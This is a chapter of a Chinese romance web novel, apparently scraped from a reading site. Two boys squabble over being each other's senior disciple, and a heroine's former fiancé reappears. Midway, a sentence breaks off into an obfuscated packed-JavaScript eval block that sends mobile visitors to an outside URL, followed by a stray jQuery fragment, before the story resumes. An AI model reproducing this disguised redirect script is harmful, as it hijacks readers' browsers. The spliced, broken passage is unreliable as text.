24. 师兄师弟

作品:《回京后白月光她失宠了

    阮清廷的拜师回礼,选的是一套玄铁鱼鳞纹腕甲。


    他很喜欢这套腕甲,就连吃晚饭的时候,都把腕甲搁在膝头,指尖反复摩挲着甲身的纹路。


    “姐姐,你快看!”阮清廷凑到阮清月身边,献宝似的把腕甲举起来。


    灯光下,玄铁泛着冷峻的光,甲片上的鱼鳞纹层层叠叠,仔细看还能看到几处浅淡的刀痕。


    阮清廷兴奋地道:“姐姐,你眼光可真好!师父说这腕甲陪他打了十多年仗,你看这成色,还有这道纹路,说不定当年还挡过敌兵的刀呢!”


    和齐盛一样,阮清廷也不知道选什么礼物。见齐盛求助他哥齐凛,阮清廷也暗自询问了阮清月的建议。


    阮清月第一眼就看到了这个腕甲,玄铁够坚硬,能护住手背和掌心,甲片衔接处灵活,不耽误握剑,最适合刚学武的少年。


    只是当时,看着它,她突然想到了慕流光。


    如果他也有一个这样能护住手背和掌心的腕甲,他的虎口和掌心应该就不会再轻易受伤了吧。


    看着阮清廷喜气洋洋的模样,她难得当着长辈们的面走了神。


    “姐姐?姐姐!”阮清廷伸手在她眼前挥了挥,“你盯着我看半天了,想什么呢?”


    阮清月猛地回神,“啊?怎么了?”


    阮清廷朝饭桌主位努了努嘴,压低声音道:“父亲刚才问你话呢,你都没听见。”


    阮清月这才抬眼看向主位的阮父。


    只见父亲放下筷子,神色温和却带着几分郑重:“北戎使团再有半月就要入京了,听说此次负责人炎甾带了侧妃同行。为彰显大魏是礼仪之邦,善待邻国,宫宴时需官家小姐陪侍侧妃,打理些女子间的事宜,清月,你可愿担下这个差事?”


    阮清月微微颔首,心里却掠过一丝顾虑,轻声道:“女儿没什么不愿的,只是京城中关于女儿的流言还没彻底散去,若是宫宴上有人在侧妃面前说闲话,会不会让北戎觉得咱们大魏失了体面,影响了两国的和气?”


    阮父闻言,倒松了口气,笑道:“你倒想得周全。不过这事你不必担心,今日我见齐首辅时,他已说过,江家的案子再过五日左右就能审结,到时候真相大白,流言自会不攻自破。再说,北戎虽是使团,终究是战败国来送朝奉,他们更要谨守本分,哪敢妄议咱们大魏的官家小姐?”


    这话让阮清月放了心。


    看他们说完了话,阮清廷就迫不及待地道:“姐姐!那明日你陪我出府好不好?我要去定做骑射服!齐盛肯定会做新的,我也得有一身像样的,不然跟他一起去师父府上学武,多没面子!”


    阮父正端着茶杯,闻言瞪了他一眼:“就知道攀比!齐盛祖父是首辅,你祖父是什么身份?也学着人家铺张浪费?”


    阮清廷的气焰瞬间蔫了下去,嘴角撇得能挂油瓶,眼神却悄悄瞟向坐在阮父身边的老夫人。


    阮父顺着他的目光一看,顿时知道自己失了言,连忙转头想给老夫人赔笑。


    老夫人却没给他好脸色,重重“哼”了一声,声音清亮:“他祖父是不如齐首辅,但他祖父是你爹!我阮家虽不比齐府显赫,难道还供不起孙儿一套骑射服?”


    阮父连忙点头:“是是是,母亲说得是,是儿子失言了。”


    老夫人没再理他,转头看向阮清月,语气软了下来:“清月,明日你就带着你弟弟出府,去最好的绸缎庄,给他做两套骑射服,挑耐穿的好布料。你自己也选两身料子,做几件像样的衣裳。宫宴是大事,可不能丢了咱们阮府的脸面。”


    阮父哪还敢有异议,连连应下。


    阮清廷顿时来了精神,凑到阮清月身边,小声嘀咕:“姐姐,咱们去账房多拿些银子,剩下的给你当私房。”


    阮清月笑道:“然后等你缺银子花,再从我这拿?”


    小心思被看穿,阮清廷嘿嘿笑了声,低头把扒饭。


    次日一早,他先去账房支了银子,催促着阮清月一起出了门。


    到了城中最大的绸缎庄,阮清廷刚跳下车,就被门口的护卫拦了下来。


    他踮着脚往里一瞧,顿时气不打一处来,里面齐盛大摇大摆地坐着,正让掌柜把所有的布料都拿出来,旁边随从一件件地在身上比划着。


    阮清廷大声叫他:“师弟!你师兄来了,还不快让你的人让开!”


    他这话一出,就算齐盛想让他们进去,现在也不可能同意了。


    他甚至连个眼神都没有给他们,“哪来的回哪去,别耽误你师兄我选骑射服。”


    阮清廷气得攥紧了拳头,伸手就要去拉门口的护卫,可那些护卫都是齐府精挑细选的壮汉,他一个半大少年哪里拉得动。


    他只能扒着人家的肩头,朝着店里嚷嚷:“齐盛!你这是不尊师重道!信不信我去师父面前告你一状!”


    齐盛一点都不怕,“你去啊,反正师父说了,我们两个没有高低,平起平坐。你是师兄,我也是师兄,谁也管不着谁。”


    “嘿你.....,”阮清廷正想再反驳,眼角余光瞥见身侧走来一道身影,脸色瞬间沉了下去,语气也冷了几分:“你来干什么?”


    齐盛听见这话不对,像是有事,他一个鲤鱼打挺从椅子上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673144|187351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来,好奇地走到门口。


    只见阮清廷对面站着个白衣公子,眉眼文雅,看着倒是和善,可阮清廷的脸色却像是见了仇人。


    没等齐盛问,就听见阮清廷咬着牙道:“李怀仁,你和我姐姐的婚约早就解了,还出现在她面前做什么?”


    李怀仁的目光越过阮清廷,落在他身后的马车上,眼神里带着几分挥之不去的深情,声音放得很柔:“清廷,我没别的意思,就是想和你姐姐说两句话。”


    “有什么好说的!”


    阮清廷梗着脖子,正要再拦,马车的车帘却轻轻掀开,阮清月的声音传了出来,温和却带着几分疏离:“清廷,不得无礼。李公子,这边请吧,有话我们到旁边说。”


    阮清廷虽不服气,却也不敢违逆姐姐,不情不愿地往旁边让了让。


    齐盛凑到他身边,压低声音问:“这人谁啊?”


    阮清廷撇了撇嘴,语气里满是不屑,道:“我姐姐前未婚夫。”


    因为阮清廷的关系,齐盛特意了解过阮家的人,也知道李怀仁因为阮清月深陷流言,而退亲的事情。


    现在这样子,好像是阮清月的流言真相大白,李怀仁又有想法了。


    齐盛感慨:“真无耻啊。”


    阮清廷无意识地附和:“是啊,真无耻。可怜我姐姐,一个女子柔柔弱弱的,又不能对他破口大骂。”


    齐盛眼珠子转了转,突然拍了拍阮清廷的肩膀,笑得一脸狡黠,“阮清廷,我要是帮你姐姐出了气,你叫我一声师兄,怎么样。”


    阮清廷狐疑地打量他,“怎么出气?”


    齐盛朝着李怀仁的方向挥了挥拳头,语气狠巴巴的:“还能怎么着?当然是把他拉到巷子里,狠狠地揍一顿!”


    阮清廷眼睛一亮,琢磨了片刻,补充道:“得打狠点,最好让他半个月下不了床。”


    “半个月?太仁慈了,”齐盛拍着胸脯保证,“我让他三个月都没法出门!”


    事关姐姐,阮清廷几乎是立刻就改了口,声音干脆利落,“师兄。”


    齐盛得意地笑了,伸手拍了拍他的肩膀:“好师弟,快进来!店里的好料子随便你挑,师兄都给你买!”


    阮清廷一把挣开他的手,翻了个白眼:“就叫这一声,我可没答应多叫。”


    “好师弟,你再叫一声,师兄让他六个月下不了床!”齐盛不依不饶,喜滋滋地道。


    “滚。”


    阮清廷丢下一个字,头也不回地往店里走。


    齐盛朝门口使了个眼色,让人盯着阮家马车的动静,自己则嘻嘻地进了店铺里。